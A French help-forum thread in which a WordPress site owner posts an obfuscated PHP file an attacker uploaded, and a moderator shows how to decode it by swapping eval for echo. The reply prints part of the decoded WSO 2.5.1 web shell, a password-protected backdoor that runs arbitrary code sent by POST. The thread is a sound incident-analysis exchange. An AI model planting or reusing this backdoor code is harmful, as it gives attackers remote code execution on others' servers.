Site web hacké: fonction php

Résolu
4uRoN5 Messages postés 47 Date d'inscription   Statut Membre Dernière intervention   -  
4uRoN5 Messages postés 47 Date d'inscription   Statut Membre Dernière intervention   -
Bonjour,

J'ai un site sous wordpress qui utilisait une extension qui a permis à un hacker d'uploader des fichiers sur mon serveur et qu'il pouvait ensuite éxecuter un utilisant un post et des arguments.

Pouvez-vous me dire comment décoder ça pour que je vois ce qu'il a fait ?
Les 6 fichiers trouvés sont différents mais utilisent exactement les mêmes fonctions d'encodage.

Voici le contenu d'un des fichiers:
options.php

<?php
$v61DYZ4 = Array('1'=>'M', '0'=>'p', '3'=>'a', '2'=>'r', '5'=>'o', '4'=>'O', '7'=>'h', '6'=>'E', '9'=>'l', '8'=>'d', 'A'=>'t', 'C'=>'9', 'B'=>'s', 'E'=>'v', 'D'=>'A', 'G'=>'S', 'F'=>'f', 'I'=>'J', 'H'=>'K', 'K'
=>'u', 'J'=>'Z', 'M'=>'P', 'L'=>'C', 'O'=>'W', 'N'=>'Q', 'Q'=>'B', 'P'=>'D', 'S'=>'w', 'R'=>'4', 'U'=>'5', 'T'=>'I', 'W'=>'k', 'V'=>'Y', 'Y'=>'L', 'X'=>'q', 'Z'=>'2', 'a'=>'7', 'c'=>'6', 'b'=>'G', 'e'=>'H', 'd'
=>'1', 'g'=>'0', 'f'=>'X', 'i'=>'c', 'h'=>'j', 'k'=>'b', 'j'=>'V', 'm'=>'x', 'l'=>'8', 'o'=>'R', 'n'=>'T', 'q'=>'i', 'p'=>'3', 's'=>'z', 'r'=>'g', 'u'=>'F', 't'=>'n', 'w'=>'y', 'v'=>'e', 'y'=>'U', 'x'=>'m', 'z'
=>'N');
function v5TZ18M($vZZLFH4, $vRWZPZ4){$v2PRHCG = ''; for($i=0; $i < strlen($vZZLFH4); $i++){$v2PRHCG .= isset($vRWZPZ4[$vZZLFH4[$i]]) ? $vRWZPZ4[$vZZLFH4[$i]] : $vZZLFH4[$i];}
return base64_decode($v2PRHCG);}
$v5KCZWI = 'Ibud8b7FibusiwDCTLIq4n1p1P1Z1nWSznjxzP1SzPNUzn7W1PNm4nDdzxz71wTaLr5WVZCBk'.
'pTrMGDqTZoxzGTaLqoWJOJ78OmgfZuh8b9EkqDCTL8b3Om9igd7kqiaLq'.
'oWJOJ78OmgfpjsJjC73xuRTPgr8eIdJnBHIbo9JxudkeoFVZ77itz98LDCTL8'.
'f3OUWkp8sYn6wzn6t4S5HNb9K3jCsJfN5IZjwixCwfZmEJwiBn9j1nLWaLWQ0kx9FiZ'.
'jgHL8BkZ8FJfIwkpIsIwSSHnBHNb9K3jCsJfN5IZd7vuC9vbjh8fo0kZUF8b9AJGiB1'.
'LWaLWQsJfoF8b9AJjCB3Od08LrSHnBHNez98uCAVO80VdCm8OCgJfz'.
'FitjK8b9AJGrSHnBHNbo9Jx9KJGrtjdzMfdJuy9zIngRtYLDt1qRdYh6tHnBHLx9xHb89'.
'8uCAVO80VdCm8OCgJfzFJpQhHLW0TeBHTLDrTbJdkxzg3OCKTu8nnpzgix9SiZm7'.
'iZ79iwrWVfIwVfW0TeBHTLDrTLDrTLQwJfodixRr3fzFVfIwVf'.
'W5IbuwixuUHGD/TbuwixuUfZd7iLrtjdzMipow3fQskbus3bjsIwSrIbuwixuUHGDc'.
'Tezgix9SiZm7iZ79iwrWVfIwVfW04S5rTLDrFN5rTLDrIuCNndzyTPgr'.
'jdzMipow3fQskbus3bjsHLoFy6CnjLWaLqDrTLDWfgzMngAIoGDCTu8nnpzgix9SiZm7iZ79iwr'.
'WfgzMngAIoGWaLtgHLxJdkxzg3OCKTe8skgmEJZ9KHLWrvS5rTLDr3bj7JbjwHL8TjuoNYs6K1LDg1PNrn'.
'xCgT6JE8OUWIwWaLqDrTLQW3Oy5ThNSzLT04S0CLr0x8OUh8b9EkqQfygCs'.
'JfohkZC23Oy5IbBBTLoZHGQaLqDrTLDWfgzMngAIojBW3dgrMGDW8hBHTLDrTez98bzEkZA0'.
'JGrW3wSrIeV04S0CLr00Jqr7JOdS8eW5Ibud8b7FibusiwW0TeBHTLDrTb9xHb9s'.
'iZjgHLoFy6CnjuBtibusiw88HGDxIqD5kONdHLoFy6CnjuBtibusiw88HGDCMGDWVfjg3uCSVfzsHGWHTLDrTLDrTLQfyg'.
'CsJfohkZC23Oy5kONdHLoFygjGjWjGOw8TjuoNfg7MydNtfGWBTLo78fo5fpQ7ip104S5HTLDrTb9xT'.
'Lr73fzsJfN5IuCPngCYGyjkkONdHLoFygjGjWjGOw8TjuoNfg7MydNtfG98HGQlFLD5IuCPngCYGyjkkONdHLoFygjGjW'.
'jGOw8TjuoNfg7MydNtfG98TL6CTLo78fo5fpQ7ip10HN5rTLDrTLDrTe8skgmEJ'.
'Z9KHLWaLtgHLxJdkxzg3OCKTbuh8b9Ek9IPHLWrvS5rTLDr3OV5Ty'.
'DWfdQMydokIpDmIdg0TeBHTLDrTLDrTLDWVGDCTbuwixuUHD5rTLDrTLDrTLDrTLDq8OU7'.
'kOyqTPg+TeQ5iuCdkxuAJGr0YD5rTLDrTLDrTLDrTLDqib7SfpJ9itz0kZRqTPg+TeQ5ieJ9itz0kZR5HGSHTLDrTLDrT'.
'LDrTLDrTt8skdCZJfIs3OCKTqDCMqQfygCFjWjGyg9MnqSHTLDr'.
'TLDrTLDrTLDrTtz7JxjAkZo9TqDCMqQD3OU0fZ898LrtiZuxJjCAkZo9IwWHTLDrTLDrTLD04S5rTLDrTLDrTbjh3blriZjw'.
'3OuB3f09HLo7HnBHTLDrTegrJOmsJGQaLqDrTLDrTLDrJfJ7kLrWfdQMydokIpDmIdg04S5rTLDrFN0CL'.
'x9xHLQ9kfQgvGrWfdQMydokIZ6tfGWrHN5rTLDr3OV53fzsJfN5Ibo9JxudkeoFVOzg3OC'.
'KHGDxIqQx8OUh8b9Ek9C9vb9s8e15IZuh8b9EkqirYqDWJbjxVfjB8uC7Vpo0kZR0HN5rTLDrTLDrTLoFy6'.
'CnjuBtVG88TPgrIbo9JxudkeoFVOzg3OCK4S5rTLDrJOmsJN5rTL'.
'DrTLDrTLoFy6CnjuBtVG88TPgrIdz9Vg9KJxlt4S00JqrrTOjAieoUHLoFy6CnjuBtVG88HGDxIqQx8OUh8b9Ek9C9vb9'.
's8e15IZuh8b9EkqirYqDWfdQMydokIZ6tfGWrHN5rTLDrVZuBkuCdiZjwfZJdkx15IZuh8b9EkqirYqD'.
'WfdQMydokIZ6tfGWaLxjR3fNa';
eval(v5TZ18M($v5KCZWI, $v61DYZ4));?>


Merci pour votre aide !

A voir également:

3 réponses

Malekal_morte- Messages postés 180304 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   24 685
 
Il faut que tu remplaces à la fin le eval par un echo pour obtenir le code généré,

c'est une backdoor PHP qui permet d'executer le code envoyé en paramètre (avec un mot de passe).
Truc plutôt classique.

php bla.php
$auth_pass = "b93703619055f43044958d0419056ca3";

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    header('HTTP/1.0 404 Not Found');
    die("404");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

function actionRC() {
    if(!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);


Like the angel you are, you laugh creating a lightness in my chest,
Your eyes they penetrate me,
(Your answer's always 'maybe')
That's when I got up and left
1
Malekal_morte- Messages postés 180304 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   24 685
 
Salut

pas chez moi mais intéressant je regarderai ce soit.

--
0
4uRoN5 Messages postés 47 Date d'inscription   Statut Membre Dernière intervention   2
 
En effet comme la souligné Malekal_morte- il suffit de remplacer le eval par un echo, aussi simple que ça.

Merci à toi !
0